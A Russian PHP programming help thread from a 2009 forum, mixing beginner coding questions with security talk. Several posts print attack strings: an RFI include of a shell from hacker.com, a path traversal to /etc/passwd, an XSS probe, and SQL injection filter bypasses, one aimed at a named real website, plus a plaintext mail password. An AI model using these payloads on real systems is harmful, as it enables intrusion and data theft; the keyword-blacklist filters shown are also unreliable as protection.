и не надо меня впредь просить искать уязвимость в коде:


$a = $a+1;


остальной код (скрытый) имеет значение, для демонстрации уязвимости, когда просят именно так - "нет ты скажи, как именно здесь можно всё похерить"


/index.php?page=http://hacker.com/shell.php).
В скрипте nilux`не проинклудилось бы


а я не говорил о RFI, тут LFI, что очень часто достаточно

т.е. например:

/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd%00 очень даже просто могло бы, при определенных обстоятельствах, дать свои плоды

m0Hze
23.04.2009, 19:47
Не то :(

DDoSька
23.04.2009, 19:51
Не то :(
Это точно , от xss от отшли к php-inc
да и там "page1.php"
page/../../config.php , разве даст плоды?

Pashkela
23.04.2009, 19:54
/index.php?page="><script>alert(xss)</script>

так лучше?:)

Просто кому XSS нужен, когда LFI есть:)

Это точно , от xss от отшли к php-inc
да и там "page1.php"
page/../../config.php , разве даст плоды?

../ - означает подняться на один уровень выше, вообще-то, неважно, в какой папке ты сейчас

DDoSька
23.04.2009, 20:03
/index.php?page="><script>alert(xss)</script>

так лучше?:)

Просто кому XSS нужен, когда LFI есть:)



../ - означает подняться на один уровень выше, вообще-то, неважно, в какой папке ты сейчас - полезный для меня урок
Не знал, что это так влияет, спасибо за пример :) Хоть провда и просили про XSS

nilux
23.04.2009, 22:55
Pashkela спасибо, запрос http://www.site.com/index.php?id=../../index убил браузер )))) рекурсия блин

Dimi4
24.04.2009, 00:04
Моя ваша непонимать. Моя понимать джокестера. Че вы тут о хсс трёте если тут явно лфи? О_О

П.С Нет, это безопасно :D

diznt
24.04.2009, 00:24
<form method="post">
<center>
<div>text:
<input type="text" name="text" size="60"/><br />
<input type="submit" name="button" value="decode"/>
</div>
<br />
<br />
<br />
<center>
<div>md5</div>
<input type="text" name="md5" size="40"/>
</center>
</form>
<?php
if (isset($_POST['button'])){
$_POST['md5'] = md5($_POST['text']);
}
?>

вообщем нужно чтобы value у md5 было значение функции md5($_POST['text'])

как это сделать?

m0Hze
24.04.2009, 00:28
value="<? echo md5($_POST['text']; ?>"

diznt
24.04.2009, 00:32
value="<? echo md5($_POST['text']; ?>"
открытый текст пхп виден
так не преобразуеться в функцию вообще (темболее ты забыл закрыть скобку)

ЗЫ все понял свою ошибку, я открывал как html файл :D

DTW
24.04.2009, 03:57
function path($cat,$link) {
connection();
static $link="";

$query="SELECT id, name, parent FROM category where id=$cat";
$rezult = mysql_query($query);
if(!$rezult) echo mysql_error().exit();
if(mysql_num_rows($rezult) > 0) {
$cat = mysql_fetch_array($rezult);

$link[] .= "-><a href=theme.php?cat=".$cat['id'].">".$cat['name']. "</a>";

path($cat['parent'],$link);



}
krsort($link);
return $link;
}



Вопрос как сделать чтоб не сортировать массив ?

если не сортирует то выводит так Марка_Х-Машины-Главная..

Pashkela
24.04.2009, 14:35
2 diznt:

без кавычек

2 DTW:

задай вопрос нормально. Какой параметр в твоём коде, например, есть "Марка_Х" и вообще, ты так и не написал, какая последовательность была бы правильной

а вообще юзай ASC|DESC еще при SQL запросе

Veteriuz
24.04.2009, 15:44
я только начинаю изучать язык.
Вы, как опытные php-шники, наверное уже пробовали не одну прогу, для более удобного/быстрого написания кода. С разными подсветками синтаксиса и т.п.
Посоветуйте, пожалуйста, с чего бы мне начать? Что поудобней?

m0Hze
24.04.2009, 15:45
ой выббор пал на PHPDesigner.

L I G A
24.04.2009, 15:54
я юзаю PHP Expert Editor

rushter
24.04.2009, 16:09
PHPDesigner

art2222
24.04.2009, 23:57
Посоветуйте, пожалуйста, с чего бы мне начать? Что поудобней?
Eclipse, а лично у меня Zend Studio for Eclipse.

m0Hze
25.04.2009, 00:08
Eclipse, а лично у меня Zend Studio for Eclipse.
Громозкаяхерня,перед темкак чтото писать,успееш поесть и помыться.
А ноут вешает конкретно.

sNt
25.04.2009, 00:09
Есть код

<?php
function packet() {
$c=1;

if($c=1) {
return array($c);
}
}
echo packet();
?>

При определенных обстоятельствах возвращается массив, и присваивается, на сколько я понял, функции packet(). Вопрос: как вытащить этот return'енный массив из функции?

m0Hze
25.04.2009, 00:31
$array = packet();

sNt
25.04.2009, 00:56
function is_user_info($packet)
{
if(!is_array($packet))
return false;
if($packet[0] != $this->MRIM_CS_USER_INFO)
return false;
$p = $packet[1];
$ret = array();
$cnt = 0;
while(true) {
list(,$len) = unpack('L1',$p);
$p = substr($p,4);
$ret[$cnt]['param'] = substr($p,0,$len);
$p = substr($p,$len);
list(,$len) = unpack('L1',$p);
$p = substr($p,4);
$ret[$cnt]['value'] = iconv('UTF-16LE','UTF-8//IGNORE',substr($p,0,$len));
$p = substr($p,$len);
$cnt++;
if(strlen($p) == 0)
break;
}
for($i = 0; $i < count($ret); $i++) {
if($ret[$i]['param'] == 'MRIM.NICKNAME')
$this->nickname = $ret[$i]['value'];
if($ret[$i]['param'] == 'client.endpoint') {
list($ip) = explode(':',$ret[$i]['value']);
$this->ip = trim($ip);
}
}
return $ret;
}
Это класс. Описание:

mixed is_user_info(
array $packet - принятый от сервера пакет
) - проверяет, является ли принятый пакет личной информацией пользователя
принимает значения:
false - пакет не содержит ожидаемых данных
array - ассоциативный массив с полученными от сервера данными ("MESSAGES.TOTAL", "MESSAGES.UNREAD", "MRIM.NICKNAME" и др.)

Вот код mra.php
<?php

$login='anty611@bk.ru';
$pass='1721';

include("class.mrim.phps");

$mra = new mrim;
$mra->connect() or die('Ошибка при подключении к серверу');
$mra->login($login, $pass) or die('auth');
//$mra->message_auth('anty611@bk.ru', 'pizda');
$mra->recevie_packet()
echo $mra->is_user_info();

?>

Я пытаюсь вывести ответ сервера (массив), но не выходит. Перебирал все, что только мог. Про классы читал, но про это не видно ничего...

Gifts
25.04.2009, 01:04
Во-первых, функции надо передавать пакет. Во-вторых, функция вернет массив с данными ТОЛЬКО если этот пакет - пакет юзеринфо

$tmp=$mra->recevie_packet();
var_dump($mra->is_user_info($tmp));

DTW
25.04.2009, 02:15
function seltopic($topic) {
static $arr;
connection();


$query="SELECT theme.post,theme.id,theme.id_page, theme.title,user.name,user.email,
theme.user_id FROM theme,user where theme.id_page=$topic and user.id=theme.user_id";
$rezult = mysql_query($query);


if(!$rezult) echo mysql_error().exit();
if(mysql_num_rows($rezult) > 0 ) {
$cat = mysql_fetch_array($rezult);
$arr[] = $cat;

$query2="SELECT id_page,post from theme where parent=".$cat['id_page']."";
$rezult2 = mysql_query($query2);

while(($cat2 = mysql_fetch_array($rezult2)) !==false) {

seltopic($cat2['id_page']) ;


}

}
return $arr ;
}

Вопрос а как можна вернуть значение без
использование
статической переменой :confused:

Gifts
25.04.2009, 11:13
DTW Вопрос - а где она используется? И какой смысл был, когда вы ее писали?

SQLHACK
25.04.2009, 11:37
function seltopic($topic) {
static $arr;
connection();


$query="SELECT theme.post,theme.id,theme.id_page, theme.title,user.name,user.email,
theme.user_id FROM theme,user where theme.id_page=$topic and user.id=theme.user_id";
$rezult = mysql_query($query);


if(!$rezult) echo mysql_error().exit();
if(mysql_num_rows($rezult) > 0 ) {
$cat = mysql_fetch_array($rezult);
$arr[] = $cat;

$query2="SELECT id_page,post from theme where parent=".$cat['id_page']."";
$rezult2 = mysql_query($query2);

while(($cat2 = mysql_fetch_array($rezult2)) !==false) {

seltopic($cat2['id_page']) ;


}

}
return $arr ;
}

Вопрос а как можна вернуть значение без
использование
статической переменой :confused:

Собственно надо земенить
static $arr;
на
$arr = array();
ну или вообще убрать, все и без этого работать будет :cool:

Chaak
25.04.2009, 11:49
Собственно надо земенить
static $arr;
на
$arr = array();
ну или вообще убрать, все и без этого работать будет :cool:
Во первых лучше все объявлять, тогда не будет ворненгов. И еще иногда является защитой от какеров

Anderson55
25.04.2009, 12:23
а что такое zend studio ?

Byrger
25.04.2009, 12:27
Как проверить есть ли в строке какаето либо слово из массива вне зависимости от регистра букв
Тоесть надо сделать проверку на Селекты Юнионы и если есть то запустить их вырезание или замену+вызов функции err_log()

Pashkela
25.04.2009, 12:34
2 Byrger:

Это анриал, к сожалению, забудь

m0Hze
25.04.2009, 12:48
Как выбрать из Базы,самое часто встречающееся та слово?
Тоесть,есть таблицо, stats, нужно выбрать 5 самых популярных запросов.

PaCo
25.04.2009, 12:49
Как проверить есть ли в строке какаето либо слово из массива вне зависимости от регистра букв
Тоесть надо сделать проверку на Селекты Юнионы и если есть то запустить их вырезание или замену+вызов функции err_log()

$array_search=array('union','select','group','orde r','limit');
$input="1+UnIoN+SeLeCt+1";
echo str_ireplace($array_search,'тра-та-та',$input,$count);
if($count>0) {

ну и здеся функция твоя err_log()

}

mailbrush
25.04.2009, 12:54
Byrger, не слушай Pashkely.
<?
$array=array('union','select','and','or');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
$string=preg_replace("#".$value."#i","",$string);
echo $string;
?>

Pashkela
25.04.2009, 12:57
Дебильные фильтры, всё обходится просто написа любую букву в union заглавной и т.д. (у mailbrush)

PaCo
25.04.2009, 13:03
Дебильные фильтры, всё обходится просто написа любую букву в union заглавной и т.д. (у mailbrush)
"#".$value."#i"

mailbrush
25.04.2009, 13:07
Pashkela, если ты не в курсе, Символ "i" после закрывающего ограничителя шаблона означает регистронезависимый поиск.

Бургер, вот с функцией:
<?
$array=array('union','select','and','orx','\+');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
{
$pattern="#".$value."#i";
if(preg_match($pattern,$string))
{
$string=preg_replace($pattern,false,$string);
$function="echo '<h1>Попытка взлома!</h1>';"; //функкция
}
}
echo $string;
@eval($function);
?>

PaCo
25.04.2009, 13:19
Pashkela, если ты не в курсе, Символ "i" после закрывающего ограничителя шаблона означает регистронезависимый поиск.

Бургер, вот с функцией:
<?
$array=array('union','select','and','orx','\+');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
{
$pattern="#".$value."#i";
if(preg_match($pattern,$string))
{
$string=preg_replace($pattern,false,$string);
$function="echo '<h1>Попытка взлома!</h1>';"; //функкция
}
}
echo $string;
@eval($function);
?>
Если не нужны сложные замены то предпочтительней использовать str_ireplace(str_replace в 4 ветки с извратом strtolower или strtoupper ), во вторых представь ситуацию preg_match($pattern,$string) вернет 0 замен и у нас будет возможность перезаписать $function (переменые переменых, Global Owerwrite и etc ) то мы получем шелл :)

SQLHACK
25.04.2009, 13:20
Pashkela, если ты не в курсе, Символ "i" после закрывающего ограничителя шаблона означает регистронезависимый поиск.

Бургер, вот с функцией:
<?
$array=array('union','select','and','orx','\+');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
{
$pattern="#".$value."#i";
if(preg_match($pattern,$string))
{
$string=preg_replace($pattern,false,$string);
$function="echo '<h1>Попытка взлома!</h1>';"; //функкция
}
}
echo $string;
@eval($function);
?>

Вот вы балбесы))))))))))))) ухахахахахаха, вот такое представление о защите и делает возможным имение серверов с кучей сайтов.

$string="http://site.ru/script.php?id=1/**/ununionion/**/seselectlect/**/1";


ЧТОБЫ ОТФИЛЬТРОВАТЬ ВСЕ - НУЖНО НАПИСАТЬ СУПЕРЗДОРОВЫЙ КЛАСС ДЛЯ ПАРСИНГА SQL ВЫРАЖЕНИЙ, ЧТО ПРОСТО БЕССМЫСЛЕННО!!!

Pashkela
25.04.2009, 13:23
Двум умникам выше (кроме SQLHACK есс-но) - если говорят дебильные фильтры, значит так оно и есть:)


<?php
$array=array('union','select','and','or');
$string="http://site.ru/script.php?id=1+uniunionon+seselectlect+1";
foreach($array as $value)
$string=preg_replace("#".$value."#i","",$string);
echo $string;
?>


:)


ЧТОБЫ ОТФИЛЬТРОВАТЬ ВСЕ - НУЖНО НАПИСАТЬ СУПЕРЗДОРОВЫЙ КЛАСС ДЛЯ ПАРСИНГА SQL ВЫРАЖЕНИЙ, ЧТО ПРОСТО БЕССМЫСЛЕННО!!!


+, о чем я сразу и написал, не проще просто нормальный код писать и проверять и обрабатывать только переменные, а не " все возможные существующие варианты"

PaCo
25.04.2009, 13:28
Ну куда мне до тебя супер умного, я же забыл что в MySQL есть оператор unтра-та-таion и seтра-та-таlect:



$array_search=array('union','select','group','orde r','limit');
$input="http://site.ru/script.php?id=1+uniunionon+seselectlect+1";
echo str_ireplace($array_search,'тра-та-та',$input,$count);

http://site.ru/script.php?id=1+uniтра-та-таon+seтра-та-таlect+1

Chaak
25.04.2009, 13:28
Byrger, зачем так делать?

--Фильтрация для числовых значений:
$id = (int)$_GET['id'];


--Фильтрация для буквенных значений:
$text = mysql_escape_string(get_magic_quotes()?stripslashe s($_GET['text']):($_GET['text']));

+ не забывай обрамлять эти параметры в кавычки в запросе!!!
и никакой хакер не пройдет.

SQLHACK
25.04.2009, 13:30
Вот вам функция , которой достаточно в 99% случаев.
function db_prepare($arg){
global $db_c;

if(is_numeric($arg)){
return "'".$arg."'";
}else if(is_string($arg)){
return "'".mysql_real_escape_string($arg, $db_c)."'";
}else{
return "''";
}
}

Где $db_c это переменная-ресурс коннекта к БД

ну или вообще убрать его
function db_prepare($arg){
if(is_numeric($arg)){
return "'".$arg."'";
}else if(is_string($arg)){
return "'".mysql_real_escape_string($arg."'";
}else{
return "''";
}
}

что такое 1% это внесение в БД файлов и всякой нестандартной всячины.

Перез использованием данной фунции должно быть установлено соединение с БД.

Запрос выглядит так
$query = "SELECT a,b,c,d FROM XXXX WHERE id=".db_prepare($id)." order by 1";

то есть параметр сам будет обрамлятся кавычками, в запросе их писать не надо.

Юзайте и будет вам счастье.

SQLHACK
25.04.2009, 13:32
Ну куда мне до тебя супер умного, я же забыл что в MySQL есть оператор unтра-та-таion и seтра-та-таlect:



$array_search=array('union','select','group','orde r','limit');
$input="http://site.ru/script.php?id=1+uniunionon+seselectlect+1";
echo str_ireplace($array_search,'тра-та-та',$input,$count);

http://site.ru/script.php?id=1+uniтра-та-таon+seтра-та-таlect+1



ебт, ты всунь эту строку в скрипт и скрипт вырежет union и select в середине слов, и в БД пройдут чистые union select

Chaak
25.04.2009, 13:33
ебт, ты всунь эту строку в скрипт и скрипт вырежет union и select в середине слов, и в БД пройдут чистые union select
здесь идет не удаление юнионов, а их замена на тратата

Byrger
25.04.2009, 13:35
Оо нифига на 2 страницы растянули : )
Спасибо всем.
А как достать строку из браузера которую пользователь вводит?

SQLHACK
25.04.2009, 13:35
имел ввиду функцию mailbrush'a

2 PaCo:
А твой пример с тратата тупо будет заплевывать как как Юзера ошибками, так и БД левыми не рабочими запросами


Действительно куда тебе до меня супер умного ))))

Pashkela
25.04.2009, 13:38
2 PaCo:

$input="http://site.ru/script.php?id=1+%75%6E%69%6F%6E+%73%65%6C%65%63%74 +1";

реальный пример:


http://www.cz-usa.com/product_detail.php?id=-7+%75%6E%69%6F%6E+%73%65%6C%65%63%74+1,2,3,4,versi on(),6/*


усовершенствуй код, и я его опять обойду, но уже за деньги:)

Chaak
25.04.2009, 13:39
Оо нифига на 2 страницы растянули : )
Спасибо всем.
А как достать строку из праузера которую пользователь вводит?
echo htmlspecialchars($_SERVER['SCRIPT_URI']);
не забывай , если в базу заносишь фильтрацию на кавычки

На JavaScript:
alert(document.location.href);

SQLHACK, твой код тоже уязвим для мультибайтовых кодировок из-за ошибки в mysql_real_escape_string
жмяк (http://www.linux.org.ru/view-message.jsp?msgid=1431118)

PaCo
25.04.2009, 13:48
2 PaCo:

$input="http://site.ru/script.php?id=1+%75%6E%69%6F%6E+%73%65%6C%65%63%74 +1";

реальный пример:


http://www.cz-usa.com/product_detail.php?id=-7+%75%6E%69%6F%6E+%73%65%6C%65%63%74+1,2,3,4,versi on(),6/*


усовершенствуй код, и я его опять обойду, но уже за деньги:)
Не хочу тебя растраивать но данные пришедшие из вне уже будут будут преобразованны в нормальный вид(попробуй зделать echo $_GET['id']) ), и если не делать повторного преобразования в коде то это НИЧЕГО НЕ ДАСТ, Byrger спросил как зделать так и так и я ответил, конечно же самый разумный вариант это проверка данный на соответсвия их типу прежде чем вставлять их в гвери.

Forcer
25.04.2009, 13:54
Почему бы не использовать prepared statement'ы, как это делают во всех других языках? Они и выполняются быстрее и необходимость в какой-либо изощренной фильтрации отпадает.

SQLHACK
25.04.2009, 14:31
Почему бы не использовать prepared statement'ы, как это делают во всех других языках? Они и выполняются быстрее и необходимость в какой-либо изощренной фильтрации отпадает.

Блин все уже давно написано, я вон функцию скинул простую и 100% надежную , Chaak собсввенно тоже самое написал но по другом, в конце концов посмотрите вы например как в WordPress сделано. \
Че вы в тысячный раз велосипед изобретаете.

m0Hze
25.04.2009, 14:31
Как выбрать из Базы,самое часто встречающееся та слово?
Тоесть,есть таблицо, stats, нужно выбрать 5 самых популярных запросов.
Люди,ответьте на цитату пожалуйста,и вот еще.
--
Как лучше подойти к системе "Самые частые запросы"? ТОесть,есть поле ввода,нужно вести статистику например по 5 самым популярным запросам. Как лучше оргонизовать? Помогите.

Forcer
25.04.2009, 14:44
SQLHACK
В том то и дело, что велосипед - это ваши функции. А prepared statement'ы это проверненное и повсеместно используемое решение. Я мало знаком с php, поэтому врядли вам могу что-нибудь советовать. Но тем не менее в других языках не пишут какие то свои функции, а используют prepared statement'ы. Я не агитирую вас, просто задался вопросом зачем что-то свое писать, если есть готовое на уровне языка причем?

Byrger
25.04.2009, 15:20
Хорошо со SQL-inj разобрались... а как защититься от заливки шеллов?

Так вышледит скрипт заливающий файлы у меня...
$uploaddir = '../images/works/minipic/';
$uploadfile = $uploaddir.basename($_FILES['minipic']['name']);
if (copy($_FILES['minipic']['tmp_name'], $uploadfile)){

}else { echo "<h3>Ошибка! Не удалось загрузить файл на сервер!</h3>"; exit; }
Как видите никак не экранируется...

D Mak
25.04.2009, 15:37
Как видите никак не экранируется...
кто то мешает экранировать?

LASS0
25.04.2009, 15:43
Подскажите как сделать, чтобы перед записью ip адреса в БД, сначало была проверка: если такой ip в столбце уже есть, то запись не делалась.

<?

$ip = $_SERVER['REMOTE_ADDR'];

include("connect.php");

$link = mysqli_connect(SERVER, USERNAME, PASSWORD, DBNAME);


$result=mysqli_query($link,
"INSERT INTO user (ip) VALUES ('$ip')");

mysqli_close($link);

?>

m0Hze
25.04.2009, 15:43
проверяй миме-тупе, и расширение.

m0Hze
25.04.2009, 16:05
Ну ктото все таки поможет?)
Повторяюсь:
Как лучше подойти с системе статистики по запросам? Как их хранить?
Как проще всего вытащить самые популярные запросы?(

mailbrush
25.04.2009, 16:12
m0Hze, ты о счетчиаках?

m0Hze
25.04.2009, 16:24
Есть поле поиска.
В него вбивают запросы,и получают ответы.
ТАк вот,нужно вести статистику запросов,с легким выводом самых частых запросов,например 5.
И вот еще, какую кодировку нужно выставить в mysql, чтобы она корректно отображала руские символы? Чтото такой писец получился с символами?

erihtoney
25.04.2009, 16:37
2m0Hze

Добавьте численное поле[Queries],при каждом запросе проверяйте,есть ли данный запрос, если есть прибавляйте к этому значению 1[Queries]
По поводу кодировки:
Пользователь вводит запрос в произвольной кодировке, в зависимости от браузера,сервер преобразовывает и передает mysql=> такая же, как и у сервера,и интерпретатора(chcp1251)

m0Hze
25.04.2009, 16:39
Вот именно в MySQL кодировка краказяблями,странно,раньш е все работало отлично :(

m0Hze
25.04.2009, 16:42
Решил делать както так:

$query = 'soad';
$check = mysql_query("SELECT * FROM stats WHERE name='$query'");
if(mysql_num_rows($check) > 0){
$assoc = mysql_fetch_assoc($check);
$update = mysql_query("UPDATE stats SET num='".$assoc['num']++."' WHERE id='".$assoc['id']."'");
}else{
$add = mysql_query("INSERT INTO stats VALUE(NULL,'".$query."','1')");
}

КТо подскажет посчет синтаксиса UPDATE, пользуюсь первый раз )

m0Hze
25.04.2009, 16:52
Нашел свою ошибку,теперь собственно вопрос.
Как вытащить самые большие значения из бд?
Предположим есть в столбце num значения:
1,5,7,3,8,12.
Нужно вытащить 3 самых больших.ПОнятно что LIMIT, но вот что дальше?(

Chaak
25.04.2009, 16:53
Подскажите как сделать, чтобы перед записью ip адреса в БД, сначало была проверка: если такой ip в столбце уже есть, то запись не делалась.

<?

$ip = $_SERVER['REMOTE_ADDR'];

include("connect.php");

$link = mysqli_connect(SERVER, USERNAME, PASSWORD, DBNAME);


$result=mysqli_query($link,
"INSERT INTO user (ip) VALUES ('$ip')");

mysqli_close($link);

?>
Придай полю ip св-во unique, и просто добавляй в таблицу, ненужное будет отсеиваться

erihtoney
25.04.2009, 17:00
2m0Hze
desc

m0Hze
25.04.2009, 17:06
2m0Hze
desc
Хотелось бы поточнее с примером,потому что документация мало чем помогает мне :(

Gifts
25.04.2009, 17:22
m0Hze Во-первых, есть соседняя тема с вопросами про MySQL. Во-вторых - не надо создавать лишнюю таблицу. В-третьих, запрос будет такой:

SELECT `zapros`, count(*) AS `cnt` FROM `table` GROUP BY `ipaddress` ORDER BY `cnt` DESC LIMIT 10;

Итого - zapros - имя столбца, через запятую можно еще добавить.
count(*) as `cnt` - количество строк
table - имя таблицы
GROUP BY `ipaddress` - по какому столбцу объединять
LIMIT 10 - 10 строк в выводе будет

erihtoney
25.04.2009, 17:23
SELECT column,...
[FROM table WHERE definition]
[ORDER BY col_name [ASC | DESC], ...]
[LIMIT [offset], rows]


Ключевое слово ORDER BY сортирует строки запросов по столбцу col_name в прямом (ASC) или обратном порядке (DESC).

Для того чтобы сортировка производилась в обратном порядке, в утверждении ORDER BY к имени заданного столбца, в котором производится сортировка, следует добавить ключевое слово DESC (убывающий). По умолчанию принята сортировка в возрастающем порядке, который можно задать явно при помощи ключевого слова ASC.

Пример:
SELECT * FROM ORDER BY `Queries` DESC LIMIT 0 , 5

m0Hze
25.04.2009, 17:28
m0Hze Во-первых, есть соседняя тема с вопросами про MySQL. Во-вторых - не надо создавать лишнюю таблицу. В-третьих, запрос будет такой:

SELECT `zapros`, count(*) AS `cnt` FROM `table` GROUP BY `ipaddress` ORDER BY `cnt` DESC LIMIT 10;

Итого - zapros - имя столбца, через запятую можно еще добавить.
count(*) as `cnt` - количество строк
table - имя таблицы
GROUP BY `ipaddress` - по какому столбцу объединять
LIMIT 10 - 10 строк в выводе будет
Почти ничего не понял :) SQL - для меня дремучий лес :(
В общем,вот так сейчас обстоят дела.

id name num
2 soad 7
3 fsoad 9
4 Авария 11
5 dff 39
5 Дебил 21

Нужно вытащить по столбу NUM 3 значения,самых больших.
Воть,я чтото с твоей конструкцией помудил,но ничего толкового невышло :(

Byrger
25.04.2009, 17:33
проверяй миме-тупе, и расширение.
А какже защита от всяких нулл байтов?

Gifts
25.04.2009, 17:36
m0Hze пффф, я-то думал хоть какой то лог у вас есть (типа кто, когда, что), а вы просто количество запросов увеличиваете :-\ Тогда так

SELECT id,name,num FROM table ORDER BY num DESC LIMIT 5

m0Hze
25.04.2009, 17:38
m0Hze пффф, я-то думал хоть какой то лог у вас есть (типа кто, когда, что), а вы просто количество запросов увеличиваете :-\ Тогда так

select id,name,num order by num desc limit 5
Со временем,все появиться.Просто,до этого я с мускулом работал на уровне регистрации.,болга,поо мелочи в ощем.А тут.... )

m0Hze
25.04.2009, 17:42
Удивительное дело,немного поправил ваш запрос,и вот что получаю:


Запрос:
$query = mysql_query("SELECT id,name,num FROM stats ORDER BY num DESC LIMIT 3");
Ответ в fetch_array:
Array ( [0] => 5 [id] => 5 [1] => dff [name] => dff [2] => 39 [num] => 39 )

тоесть,он вытаскивает самое большое значение Ж( но 1

Gifts
25.04.2009, 17:52
m0Hze Учите пхп, и что делает функция ,mysql_fetch_array

m0Hze
25.04.2009, 18:00
А что нетак? Оо
mysql_fetch_array — Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба.

m0Hze
25.04.2009, 18:08
В общем,на данный момент код имеет такую вот форму:

$DB['host'] = 'localhost';
$DB['user'] = 'root';
$DB['pass']= '';
$DB['base'] = 'base';

$connect = mysql_connect($DB['host'],$DB['user'],$DB['pass']) or die(':()');
mysql_select_db($DB['base'],$connect) or die(':()');
$query = mysql_query("SELECT * FROM `stats`ORDER BY `num` DESC LIMIT 0,3");
$array = mysql_fetch_array($query);
print_r($array);

И я получаю :(

Array ( [0] => 5 [id] => 5 [1] => dff [name] => dff [2] => 39 [num] => 39 )

Grema
25.04.2009, 18:09
Ребят помогите с регулярным выражением..
надо проверить на совпадение.
будет приходить ГЕТ с такими данными:
1-2,3-2,1-1 или 2-2,1-1
то есть кол-во меняться будет постоянно.
^\d{1}-\d{1}
вот я не знаю как в цикл с , можно было бы запустить? О.о

Gifts
25.04.2009, 18:14
m0Hze Потому что гладиолус.
Returns an array that corresponds to the fetched row and moves the internal data pointer ahead.


while ($row = mysql_fetch_array($query)) print_r($row);


Grema preg_match_all('~(\d)\-(\d)~',$_GET['c'],$result);
var_dump($result);